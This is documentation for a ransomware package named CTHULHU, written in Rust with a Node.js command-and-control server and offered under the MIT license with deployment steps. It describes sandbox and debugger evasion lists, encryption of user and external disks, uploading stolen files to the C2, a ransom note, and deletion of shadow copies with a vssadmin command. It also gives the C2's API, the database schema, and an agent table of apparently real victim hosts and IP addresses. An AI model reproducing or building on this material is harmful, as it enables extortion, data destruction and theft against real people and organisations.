

CTHULHU

Documentation about CTHULHU a ransomware in Rust with a custom C2 created in collaboration with Hxtninfosec, MasterBigD, Ezequiel

- [Project overview](#)
- [Infrastructure](#)
 - [Docker Container Setup](#)
 - [Docker Compose Setup](#)
- [Ransomware](#)
 - [Debugger and Sandbox Detection](#)
 - [System Information Retrieval](#)
 - [Encryption / Decryption files](#)
 - [Encryption / Decryption for external disk](#)
 - [API connection](#)
 - [Shadow copy deletion](#)
 - [Main.rs](#)
- [API](#)
 - [Base URL](#)
 - [Endpoints](#)
 - [Database Connection](#)
 - [User Folder Creation](#)
 - [RSA Key Pair Generation and Storage](#)
- [C2](#)
 - [Database](#)
 - [View](#)
- [License](#)

Project overview

Overview

CTHULHU is a package a package containing a ransomware and a C2. The ransomware is developed in **Rust** and the C2 in **nodeJS** and **ReactJS**.

How to deploy the C2

```
git clone the repo
cd CTHULHU/C2/
docker-compose up -d
restart backend container
```

Infrastructure

This document provides an overview and documentation for the API implemented using Docker containers and the provided configuration files (Dockerfile, docker-compose.yml, and .env).

Docker Container Setup

The API is designed to run inside a Docker container. The container includes the necessary dependencies and configurations for the API to function properly. The Docker container is built using the provided `Dockerfile`.

Dockerfile

```
FROM node:20-alpine

LABEL maintainer="Hxtninfosec | MasterBigD | Ezequille"

# Create App directory for the project
RUN mkdir /app

# Change directory to /app
WORKDIR /app

# Copy all necessary files
COPY . .

RUN npm install --save
# If you are building your code for production
# RUN npm ci --omit=dev

# Set timezone
ENV TZ="Europe/Paris"

EXPOSE 5000

CMD [ "node", "app.js" ]
```

The `Dockerfile` sets up the Docker container by:

1. Using the `node:20-alpine` base image.
2. Creating an `/app` directory inside the container.

3. Changing the working directory to `/app`.
4. Copying all files from the current directory (the API source code) into the container's `/app` directory.
5. Installing the required dependencies using `npm install`.
6. Setting the timezone to `Europe/Paris` (change as needed).
7. Exposing port `5000` for the API to listen on.
8. Specifying the command to run the API using `CMD ["node", "app.js"]`.

Docker Compose Setup

To simplify the deployment and management of the API and its dependencies, Docker Compose is used. The `docker-compose.yml` file defines the services and their configurations.

docker-compose.yml

```
version: '3.1'

services:
  mariadb:
    image: mariadb
    restart: always
    environment:
      MARIADB_ROOT_PASSWORD: ${DB_ROOT_PASS}
    volumes:
      - ./main.sql:/docker-entrypoint-initdb.d/dump.sql
    networks:
      - backend

  adminer:
    image: adminer
    restart: always
    environment:
      ADMINER_DEFAULT_SERVER: mariadb
    depends_on:
      - mariadb
    networks:
      - backend
      - frontend
    ports:
      - 8080:${ADMINER_PORT}

  backend:
    build: ./backend
```

```
depends_on:
  - mariadb

volumes:
  - ./backend/app.js:/app/app.js
  - cthulhu-backend:/CTHULHU

environment:
  DB_HOST: mariadb
  DB_USER: ${DB_USER}
  DB_MAIN: ${DB_MAIN}
  DB_PASS: ${DB_ROOT_PASS}

networks:
  - backend
  - frontend

ports:
  - 5000:${BACKEND_PORT}
```

```
frontend:
  restart: always
  build: ./frontend
  ports:
    - 443:443
  networks:
    - frontend
```

```
networks:
  backend:
  frontend:
```

```
volumes:
  cthulhu-backend:
```

The `docker-compose.yml` file defines three services: `mariadb`, `adminer`, and `backend`.

mariadb Service

- Image: `mariadb`
- Restart: `always`
- Environment Variables:
 - `MARIADB_ROOT_PASSWORD`: The root password for the MariaDB instance (specified in `.env` file).
- Networks: `backend`

The `mariadb` service runs a MariaDB database server. It uses the specified root password and is connected to the `backend` network.

adminer Service

- Image: `adminer`
- Restart: `always`
- Environment Variables:
 - `ADMINER_DEFAULT_SERVER`: The hostname of the

MariaDB service (`mariadb`).

- Depends On: `mariadb`
- Networks: `backend`, `frontend`
- Ports:
 - `8080:${ADMINER_PORT}`: Maps the container's port 8080 to the specified `ADMINER_PORT` (specified in `.env` file).

The `adminer` service provides a web-based database management interface. It depends on the `mariadb` service and is connected to both the `backend` and `frontend` networks. The specified port is exposed for accessing the Adminer interface.

backend Service

- Build: `./backend`
- Depends On: `mariadb`
- Volumes:
 - `./backend/app.js:/app/app.js`: Mounts the local `app.js` file into the container's `/app/app.js`.
 - `cthulhu-backend:/CTHULHU`: Mounts the named volume `cthulhu-backend` to `/CTHULHU`.
- Environment Variables:
 - `DB_HOST`: The hostname of the MariaDB service (`mariadb`).
 - `DB_USER`: The database user (`root`).
 - `DB_MAIN`: The main database name (`CTHULHU`).
 - `DB_PASS`: The database user's password (specified in `.env` file).
- Networks: `backend`, `frontend`
- Ports:
 - `5000:${BACKEND_PORT}`: Maps the container's port 5000 to the specified `BACKEND_PORT` (specified in `.env` file).

The `backend` service builds the API using the source code located in the `./backend` directory. It depends on the `mariadb` service and mounts the local `app.js` file and the `cthulhu-backend` named volume. The environment variables define the database connection details. It is connected to both the `backend` and `frontend` networks, and the specified port is exposed for accessing the API.

.env File


```
DB_ROOT_PASS=toor
DB_USER=root
DB_MAIN=CTHULHU
BACKEND_PORT=5000
ADMINER_PORT=8080
```

The `.env` file contains environment variable definitions used by the Docker Compose configuration. It includes the following variables:

- `DB_ROOT_PASS`: The root password for the MariaDB instance.
- `DB_USER`: The database user (default: `root`).
- `DB_MAIN`: The main database name (default: `CTHULHU`).
- `BACKEND_PORT`: The port on which the API will listen (default: `5000`).
- `ADMINER_PORT`: The port on which Adminer will be accessible (default: `8080`).

Make sure to adjust these values as needed for your specific deployment.

Ransomware

This document provides an overview and documentation of the Rust code for the ransomware.

Debugger and Sandbox Detection

This code provides functions to detect the presence of a debugger or a sandbox environment. It includes the following functions:

```
is_debugger_detected() -> bool
```

Checks if a debugger is detected.

Returns: `true` if a debugger is present; otherwise, `false`.

```
is_sandbox_detected() -> bool
```

Checks if a sandbox environment is detected.

Returns: `true` if a sandbox environment is present; otherwise, `false`.

Suspicious Renamed Executable Detection

The function checks for the presence of suspiciously named executables that might indicate a sandbox environment. The suspicious executable names include:

- sample.exe
- bot.exe
- sandbox.exe
- malware.exe
- test.exe
- klavme.exe
- myapp.exe
- testapp.exe
- infected.exe

Suspicious User Name Detection

The function checks if any suspicious user names are present on the system. The suspicious user names include:

- CurrentUser
- Sandbox
- Emily
- HAPUBWS
- Hong Lee
- IT-ADMIN
- Johnson
- Miller
- milozs
- Peter Wilson
- timmy
- user
- sand box
- malware
- maltest
- test user
- virus
- John Doe
- SANDBOX
- 7SILVIA
- HANSPETER-PC
- JOHN-PC
- MUELLER-PC
- WIN7-TRAPS
- FORTINET
- TEQUILABOOMBOOM

Specific Conditions Check

The function checks for specific conditions related to certain users and host names:

- If the user is "Wilber" and the host name starts with "SC" or "SW".
- If the user is "admin" and the host name is "SystemIT" or "KLONE_X64-PC".
- If the user is "John" and the files "C:\take_screenshot.ps1" and "C:\loaddll.exe" exist.

Suspicious File Existence Check

The function checks for the existence of specific files that might indicate a sandbox environment:

- C:\email.doc
- C:\email.htm
- C:\123\email.doc
- C:\123\email.docx

Hardware and System Checks

The function performs the following hardware and system checks:

- Checks if the number of physical CPUs is less than 2.
- Checks if the total space on the C: drive is less than 80 GB (85899345920 bytes).
- Checks if the mouse cursor position remains unchanged after a delay of 10 seconds.
- Checks if the total memory is less than 1 GB (1073741824 bytes).
- Checks if any of the suspicious processes are running.
- Checks the parent process name of the current process.

Network Interface Check

The function checks the network interfaces for specific MAC addresses that might indicate a sandbox environment:

- MAC addresses starting with "00:05:69"
- MAC addresses starting with "00:0c:29"
- MAC addresses starting with "00:1C:14"
- MAC addresses starting with "00:50:56"
- MAC addresses starting with "08:16:3E"
- MAC addresses starting with "08:00:27"

System Information Retrieval

This code provides functions to retrieve various system information such as disk details, operating system version, hostname, username, and user home directory.

```
get_disks() -> Vec<String>
```

Retrieves the mounted points of the system disks.

Returns: A `Vec<String>` containing the mounted points of the system disks.

```
get_version() -> String
```

Retrieves the operating system version.

Returns: A `String` representing the operating system version.

```
get_hostname() -> String
```

Retrieves the hostname of the system.

Returns: A `String` representing the hostname.

```
get_username() -> String
```

Retrieves the username of the current user.

Returns: A `String` representing the username.

```
get_user_home() -> PathBuf
```

Retrieves the home directory path of the current user.

Returns: A `PathBuf` representing the user's home directory path.

Disk Retrieval

The function `get_disks()` uses the `sysinfo` crate to retrieve system disk information. It iterates over the disks and extracts their mounted points into a `Vec<String>`.

Operating System Version Retrieval

The function `get_version()` utilizes the `os_info` crate to retrieve the operating system information. It obtains the operating system type using `os_info::get().os_type()` and maps it to a human-readable string. The operating system version is retrieved using `os_info::get().version()`, and the version information is formatted into a string.

Hostname Retrieval

The function `get_hostname()` leverages the `whoami` crate to retrieve the hostname of the system using `whoami::hostname()`.

Username Retrieval

The function `get_username()` uses the `whoami` crate to retrieve the username of the current user using `whoami::username()`.

User Home Directory Retrieval

The function `get_user_home()` utilizes the `home` crate to retrieve the home directory path of the current user. It uses `home::home_dir()` to obtain the `Option<PathBuf>` representing the user's home directory. If the home directory is found, it is returned as a `PathBuf`; otherwise, a fallback value of "unknown" is used.

Encryption / Decryption files

Overview

This code provides functions for encrypting and decrypting files using AES-256 CTR encryption. It supports multi-threaded encryption and decryption of files in a specified directory. The encryption is performed using RSA public-key cryptography, where the AES key is encrypted with the recipient's public key before being stored in the encrypted file.

The code is organized into several functions and helper methods. Here's a brief summary of each component:

- `aes_256_ctr_encrypt_decrypt`: This function performs AES-256 CTR encryption or decryption on a given ciphertext using the provided key and nonce.
- `gen_aes_key`: This function generates a random AES key of the specified size.
- `inc_counter`: This helper function increments the given nonce, used in AES-CTR mode, by 1.
- `get_dst_file_path`: This function returns the destination file path for the encrypted file based on the source file path.
- `FileEncryptionDecryptionError`: This is an enum that represents possible errors that can occur during file encryption or decryption.
- `encrypt_decrypt_file`: This function encrypts or decrypts a file based on the specified parameters. It uses AES-CTR encryption for the file data and RSA encryption for the AES key.
- `multi_threaded_encrypt_decrypt_files`: This function performs multi-threaded encryption or decryption on multiple files within a directory. It distributes the files among multiple threads for parallel processing.

Usage

To use this code, you need to import the necessary dependencies:

```
use aes::{
    cipher::{NewCipher, StreamCipher},
    Aes256Ctr,
};
use rand::{distributions::Uniform, thread_rng, Rng};
```



```

use rsa::{
    pkcs1:: {DecodeRsaPrivateKey, DecodeRsaPublicKey},
    Pkcs1v15Encrypt, RsaPrivateKey, RsaPublicKey,
};

use walkdir::WalkDir;

use std::{
    fmt::Error as FmtError,
    fs::{remove_file, File, OpenOptions},
    io::{BufReader, Read, Seek, SeekFrom, Write},
    path::{Path, PathBuf},
    sync::mpsc::{channel, Sender},
    thread::{self, JoinHandle},
};

use crate::c2::api::C2API;

```

Note: Some dependencies may need to be added to your project's `Cargo.toml` file.

To encrypt or decrypt a file, you can use the `encrypt_decrypt_file` function:

```

pub fn encrypt_decrypt_file(
    file_src_path: &str,
    private_public_key: String,
    is_encryption: u8,
) -> Result<usize, FileEncryptionDecryptionError>

```

- `file_src_path`: The path to the source file to be encrypted or decrypted.
- `private_public_key`: The RSA private or public key used for encryption or decryption.
- `is_encryption`: A flag indicating whether encryption or decryption should be performed. Set it to `1` for encryption and `0` for decryption.

The function returns the total number of bytes read from the file if successful, or an error of type `FileEncryptionDecryptionError` if an error occurs.

To perform multi-threaded encryption or decryption on multiple files within a directory, you can use the `multi_threaded_encrypt_decrypt_files` function:

```

pub fn multi_threaded_encrypt_decrypt_files(
    directory: &str,
    private_public_key: String,
    user_id: String,

```

```
is_encryption: u8,  
)
```

- `directory`: The directory containing the files to be encrypted or decrypted.
- `private_public_key`: The RSA private or public key used for encryption or decryption.
- `user_id`: An identifier for the user or recipient of the encrypted files.
- `is_encryption`: A flag indicating whether encryption or decryption should be performed. Set it to `1` for encryption and `0` for decryption.

This function performs multi-threaded processing on the files in the specified directory, distributing the workload among multiple threads for faster execution.

Limitations

- The code assumes the use of AES-256 CTR mode for encryption and decryption. Other modes or key sizes are not supported.
- The RSA encryption and decryption operations use the PKCS#1 v1.5 padding scheme. Other padding schemes are not supported.
- The code doesn't provide error handling for all possible failure scenarios. Some error cases may result in a panic or incomplete operations.

Examples

Example usage of the `encrypt_decrypt_file` function:

```
let file_path = "path/to/file";  
let private_public_key = "RSA private or public key";  
let is_encryption = 1;  
  
match encrypt_decrypt_file(file_path, private_public_key, is_encryption) {  
  Ok(bytes_read) => println!("Encryption successful. Bytes read: {}", bytes_read),  
  Err(err) => println!("Encryption failed: {:?}", err),  
}
```

Example usage of the `multi_threaded_encrypt_decrypt_files` function:

```
let directory = "path/to/directory";  
let private_public_key = "RSA private or public key";  
let user_id = "user123";
```

```
let is_encryption = 1;
```

```
multi_threaded_encrypt_decrypt_files(directory, private_public_key, user_id, is_encryption);
```

Ecrypton / Decryption for external disk

Function Description

The code snippet defines a function named `encrypt_decrypt_external_disks` with the following signature:

```
pub fn encrypt_decrypt_external_disks(private_public_key: String, user_id: String, is_encryption: u8)
```

Parameters

- `private_public_key` (String): A string representing the private/public key used for encryption/decryption.
- `user_id` (String): A string representing the user ID.
- `is_encryption` (u8): An unsigned 8-bit integer representing the operation mode. It determines whether encryption or decryption should be performed.

Function Logic

The `encrypt_decrypt_external_disks` function performs encryption or decryption on external disks using the provided private/public key. It iterates over the available disks, excluding the "C:\\" disk, and calls the `multi_threaded_encrypt_decrypt_files` function to perform encryption or decryption on the files within each disk.

The function uses the `get_disks` function from the `crate::system::info` module to obtain a list of available disks. For each disk (excluding the system disk "C:\\"), it calls the `multi_threaded_encrypt_decrypt_files` function, passing the disk path, private/public key, user ID, and operation mode as arguments.

Example Usage

Here is an example of how you can use the `encrypt_decrypt_external_disks` function:

```
fn main() {  
    let private_public_key = "your_private_public_key".to_string();  
    let user_id = "your_user_id".to_string();  
    let is_encryption = 1; // 1 for encryption, 0 for decryption  
  
    encrypt_decrypt_external_disks(private_public_key, user_id, is_encryption);  
}
```

In the example above, the function is called with the appropriate arguments to perform encryption on external disks using the provided private/public key and user ID.

Make sure to replace `"your_private_public_key"` and `"your_user_id"` with the actual values you want to use.

API connection

Overview

This code provides a `C2API` struct that encapsulates functionalities related to interacting with a command and control (C2) API. It includes methods for making POST and GET requests, retrieving public IP information, and uploading files to the C2 server.

The code relies on the following dependencies:

```
use request::{  
    blocking::multipart::{Form, Part},  
    Client, Error, Response,  
};  
use serde_json::{json, Value};  
use std::{  
    collections::HashMap,  
    fs::File,  
    io::{self, Read, Seek},  
    str::FromStr,  
};
```

Make sure to add these dependencies to your project's `Cargo.toml` file.

Usage

To use this code, create an instance of the `C2API` struct and call its methods. Here's an overview of the available methods:

new

```
pub fn new() -> Self
```

This method creates a new instance of the `C2API` struct and initializes the base URL for the C2 API.

format_response

```
async fn format_response(self, response: Result<Response, Error>) -> HashMap<String, Value>
```

This private method formats the response received from the API into a `HashMap<String, Value>`. It handles success and error cases, returning the response as a `HashMap` for further processing.

post

```
pub async fn post(self, json_body: &Value, uri: &str) -> HashMap<String, Value>
```

This method sends a POST request to the C2 API with the provided JSON body and URI. It returns the response as a `HashMap<String, Value>`.

get_public_ip_info

```
pub async fn get_public_ip_info(self) -> HashMap<String, Value>
```

This method retrieves public IP information by sending a GET request to an external service. It returns the response as a `HashMap<String, Value>`.

upload_file

```
pub fn upload_file(self, file_path: String, user_id: &str) -> Result<(), Box<dyn std::error::Error>>
```

This method uploads a file to the C2 server in chunks using a multipart/form-data request. It takes the file path and user ID as parameters and returns `Ok(())` if the upload is successful or an error if any issues occur.

Limitations

- The code assumes the use of the `request` library for making HTTP requests. Other HTTP libraries are not supported.
- The code relies on specific endpoints and response formats from the C2 API. Modifying the API or using a different API may require adjustments to the code.

Examples

Example usage of the `C2API` struct:

```
let api = C2API::new();

// Example: Send a POST request
let json_body = json!({"name": "John", "age": 30});
let uri = "endpoint";
let response = api.post(&json_body, uri).await;
println!("Response: {:?}", response);

// Example: Retrieve public IP information
let ip_info = api.get_public_ip_info().await;
println!("Public IP info: {:?}", ip_info);

// Example: Upload a file
let file_path = "path/to/file.txt";
let user_id = "user123";
match api.upload_file(file_path.to_string(), user_id) {
    Ok(_) => println!("File upload successful!"),
    Err(err) => println!("File upload failed: {:?}", err),
}
```

Note: Replace the placeholder values with appropriate data for your use case.

Shadow copy deletion

This code provides a function to delete shadow copies using the `vssadmin` command.

`delete_shadow_copies()`

Deletes shadow copies using the `vssadmin` command.

Command Execution

The function executes the following command using the Command module:

```
Command::new("cmd")  
    .args(&["/C", "vssadmin delete shadows /all /quiet"])  
    .output()  
    .expect("Failed to execute command");
```

The command executed is `cmd /C vssadmin delete shadows /all /quiet`, which invokes the `vssadmin` tool with the `delete shadows /all /quiet` arguments. The `/all` option deletes all existing shadow copies, and the `/quiet` option suppresses confirmation prompts.

Command Output

The function captures the output of the executed command. The output contains the following information:

- `stdout`: Captures the standard output of the command.
- `stderr`: Captures the error output of the command.
- `status`: Represents the exit status of the command.

Status Check

The function checks the exit status of the command execution using `output.status`. If the command execution was successful, the exit status will indicate success.

- If `output.status.success()` returns `true`, the function prints "Shadow copies deleted successfully".
- If `output.status.success()` returns `false`, the function prints "Failed to delete shadow copies".

Note: The actual output captured from the `vssadmin` command is not used in this code, but it can be accessed from the `stdout` and `stderr` fields of the `output` struct if needed.

Main.rs

Overview

This code represents an entry point for a program that performs certain actions based on command-line arguments. It imports and utilizes modules `c2`, `encryption`, and `system` for various functionalities related to interacting with a C2 API, encryption, and system information.

The code relies on the following dependencies:

```
mod c2;
mod encryption;
mod system;
use base64::{engine::general_purpose, Engine as _};
use serde_json::json;
use std::{
    env,
    fs::{read_to_string, File, OpenOptions},
    io::Write,
    process::exit,
};
```

Make sure to add these dependencies to your project's `Cargo.toml` file.

Usage

The code checks the command-line arguments and performs different actions based on the number of arguments.

Case 1: No Arguments

If no arguments are provided, the code checks if a debugger or sandbox environment is detected using the `sandbox` module from the `system` module.

If no debugger or sandbox is detected, the code proceeds with the following steps:

1. Creates an instance of `C2API` from the `c2` module.
2. Retrieves public IP information using the `get_public_ip_info` method of `C2API`.
3. Checks if an error occurred during the retrieval of public IP information. If so, it prints the error message and exits.
4. Retrieves system information such as hostname and username using the `info` module from the `system` module.
5. Constructs a JSON body containing system information and public IP details.
6. Sends a POST request with the JSON body to the C2 API endpoint `/agent/new` using the `post` method of `C2API`.
7. Checks if an error occurred during the POST request. If so, it prints the error message and exits.
8. Creates an agent tag using the received data from the API response.
9. Encodes the agent tag using Base64 encoding.
10. Cleans the received public key and assigns it to `private_public_key`.
11. Performs file and disk encryption using methods from the `encryption` module.
12. Writes a message containing the recovery instructions to a file named `HELP_RECOVER_ALL_MY_FILES.txt`.
13. Deletes shadow copies using the `delete_shadow_copies` method from the `file` module in the `system` module.

Case 2: One Argument

If one argument is provided, the code assumes it is a path to a private key file.

The code performs the following steps:

1. Reads the contents of the private key file.
2. Performs file and disk encryption using methods from the `encryption` module.

Limitations

- The code assumes the usage of the `tokio` runtime for asynchronous operations.
- The code relies on specific modules and their implementations in the `c2`, `encryption`, and `system` files. Ensure these files are present and contain the required functionality.
- The code depends on specific C2 API endpoints and response formats. Modify the code if using a different API or endpoints.

Examples

Example usage of the code:

```
#[tokio::main]
async fn main() {
    // ... Code from the original main function
}
```

Ensure that you have the required dependencies, modules, and files in your project before running the code.

API

This document provides an overview and documentation for the API implemented in the provided code. The API allows clients to interact with a server for managing agents and uploading files.

API

Base URL

The API create its own nodejs server at this address

`http://localhost:5000/`

Endpoints

Create a New Agent

- **URL:** `/api/agent/new`
- **Method:** **POST**
- **Description:** Create a new agent and store its information in a MySQL database.
- **Request Body:**
 - **versionOS** (required): The version of the operating system running on the agent.
 - **host** (required): The host name or IP address of the agent.
 - **hookUser** (required): The hook user of the agent.
- **Response:**
 - Status Code: **200 OK** on success, **400 Bad Request** if parameters are missing or invalid, **500 Internal Server Error** if an error occurs during database insertion.
 - Response Body:

```
{
  "data": {
    "id": "<agentId>",
    "publicKey": "<publicKey>"
  },
  "error": {}
}
```

- **Example:**

```
POST /api/agent/new HTTP/1.1
Host: localhost:5000
Content-Type: application/json
```

```
{
  "versionOS": "1.0",
  "host": "example.com",
  "hookUser": "john.doe"
}
```

Upload a File

- **URL:** `/api/file/upload/:user_folder`
- **Method:** **POST**
- **Description:** Upload a file and save it in the specified user folder.
- **Request Parameters:**
 - **user_folder** (required): The user folder to which the file should be uploaded.
- **Request Body:**
 - The file to be uploaded should be sent as **multipart/form-data** with the file field name set to **file**.
- **Response:**
 - Status Code: **200 OK** on success, **400 Bad Request** if no file is uploaded.
 - Response Body:

```
{
  "data": {
    "success": "<filename> uploaded successfully."
  },
  "error": {}
}
```

- **Example:**

```
POST /api/file/upload/123 HTTP/1.1
Host: localhost:5000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

-----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain

This is the content of the file.

-----WebKitFormBoundary7MA4YWxkTrZu0gW--
```

Database Connection

The API connects to a MySQL database for storing agent information. The database connection details are specified using environment variables:

- **DB_HOST:** The host name or IP address of the MySQL database.
- **DB_USER:** The username for accessing the MySQL database.
- **DB_PASS:** The password for accessing the MySQL database.
- **DB_MAIN:** The name of the main database.

User Folder Creation

The API creates a folder named `/CTHULHU/users` if it doesn't already exist. Additionally, for each agent created, a user-specific folder is created within `/CTHULHU/users`.

Folder Structure

The folder structure is as follows:

- `/CTHULHU`
 - `/users`
 - `/<agentId_1>`
 - `/<agentId_2>`
 - ...
 - `/<agentId_n>`

Folder Creation Process

When a new agent is created, the API performs the following steps:

1. Checks if the `/CTHULHU/users` folder exists.
2. If the folder doesn't exist, it is created.
3. Creates a user-specific folder within `/CTHULHU/users` for the agent using the agent's ID.

Example

Let's assume that the API receives a request to create a new agent with the ID `123`. Here's the folder creation process:

1. The API checks if the `/CTHULHU/users` folder exists.
2. If the folder doesn't exist, it creates the `/CTHULHU/users` folder.
3. The API creates a user-specific folder named `/CTHULHU/users/123` for the agent with ID `123`.

The created folder structure would be:

- `/CTHULHU`
 - `/users`
 - `/123`

RSA Key Pair Generation and Storage

For each agent created, the API generates an RSA key pair consisting of a public key and a private key. The key pair is generated using a modulus length of 4096 bits. The generated keys are stored in the MySQL database along with other agent information.

Key Generation Process

When a new agent is created, the API performs the following steps to generate the RSA key pair:

1. Generates an RSA key pair using the `crypto.generateKeyPairSync` method with the following options:
 - Algorithm: RSA
 - Modulus Length: 4096 bits
 - Public Key Encoding: PKCS#1 format in PEM encoding
 - Private Key Encoding: PKCS#1 format in PEM encoding
2. The generated public key and private key are converted to string representations.
3. The public key string is stored in the `pubKey` field of the agent's record in the MySQL database.
4. The private key string is stored in the `privKey` field of the agent's record in the MySQL database.

Example

When a new agent is created, the API generates an RSA key pair. Let's assume the key generation process produces the following keys:

- Public Key:

```
-----BEGIN RSA PUBLIC KEY-----  
MIICljANBgkqhkiG9w0BAQEFAAOCAg8AMIICGgKCAgEAYDRa5PEVYI2T3EzvG1on  
...  
d8Ou9azXQIDAQAB  
-----END RSA PUBLIC KEY-----
```

- Private Key:

```
-----BEGIN RSA PRIVATE KEY-----
```

```
MIIJKQIBAAKCAgEAYDRa5PEVYI2T3EzvG1onC4vPwL...
```

```
...
```

```
8RTgj8SPaHv/SmB2DhYO98C6HpU=
```

```
-----END RSA PRIVATE KEY-----
```

The generated keys are then stored in the agent's record in the MySQL database.

C2

Documentation about the C2 workflow and view

Database

Database Schema Documentation

Table: agent

This table stores information about agents.

Column Name	Data Type	Description
agentID	int(255)	Unique identifier for each agent.
ip	varchar(20)	IP address of the agent.
host	varchar(50)	Host name of the agent.
versionOS	varchar(30)	Version of the operating system.
hookUser	varchar(50)	User associated with the agent.
hookDate	timestamp	Date and time of the agent's hook.
privKey	TEXT	Private key of the agent.
pubKey	TEXT	Public key of the agent.
pathToData	varchar(255)	Path to agent's data.
country	char(50)	Country of the agent.
totalFilesSend	int(255)	Total number of files sent by the agent.
totalFilesEncrypt	int(255)	Total number of files encrypted by the agent.
PRIMARY KEY	agentID	Primary key of the table.

Table: roles

This table stores different roles in the system.

Column Name	Data Type	Description
role_id	int	Unique identifier for each role.
role_name	varchar(191)	Name of the role.
PRIMARY KEY	role_id	Primary key of the table.

Table: users

This table stores user information.

Column Name	Data Type	Description
user_id	int	Unique identifier for each user.
user_firstname	varchar(191)	First name of the user.
user_lastname	varchar(191)	Last name of the user.
user_name	varchar(191)	Username of the user.
user_email	varchar(191)	Email address of the user.
user_password	varchar(191)	Password of the user.
user_token	varchar(191)	Token associated with the user (optional).
role_id	int	Foreign key referencing the role_id in roles table.
PRIMARY KEY	user_id	Primary key of the table.
users_user_email_key	(unique)	Unique constraint on user_email column.
users_role_id_key	(index)	Index on role_id column.
users_role_id_fkey	(foreign key)	Foreign key constraint referencing role_id in roles table.

View

Agent View

In this page you can see all the agents that are connected to the C2.

ADMIN CTHULHU

Profile

Accounts

All Agents

Chat

Search for ...

3+

logout

Agents view

Agents

Search

Host	Os	Hooked User	ip	View
desktop-pvds4ra	Windows 10.0.19045	root	176.128.184.221	
desktop-kla6lb5	Windows 10.0.19044	admin	176.128.184.221	
azure-pc	Windows 6.1.7601	azure	34.145.128.226	
701188	Windows 10.0.17134	george	34.17.49.70	
desktop-17t4blo	Windows 10.0.14393	ss	213.145.140.70	
win-goi5l8hwzrm	Windows 6.1.7601	HTMgp	79.104.209.17	
win-lc7hfgyp4qc	Windows 6.1.7601	PyMUVj4bEGs	79.104.209.8	
desktop-mckpgx3	Windows 10.0.17134	IJIQ7JhSr	79.104.209.17	
win-vt82ym8s02s	Windows 6.1.7601	IZUzUP8	79.104.209.17	
win-7z6okj4pna2	Windows 6.1.7601	PFirQxm	79.104.209.116	
desktop-dkbf6	Windows 10.0.17134	401-00000000	105.200.51.11	

License

MIT License

Copyright (c) 2023 Ashguard

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.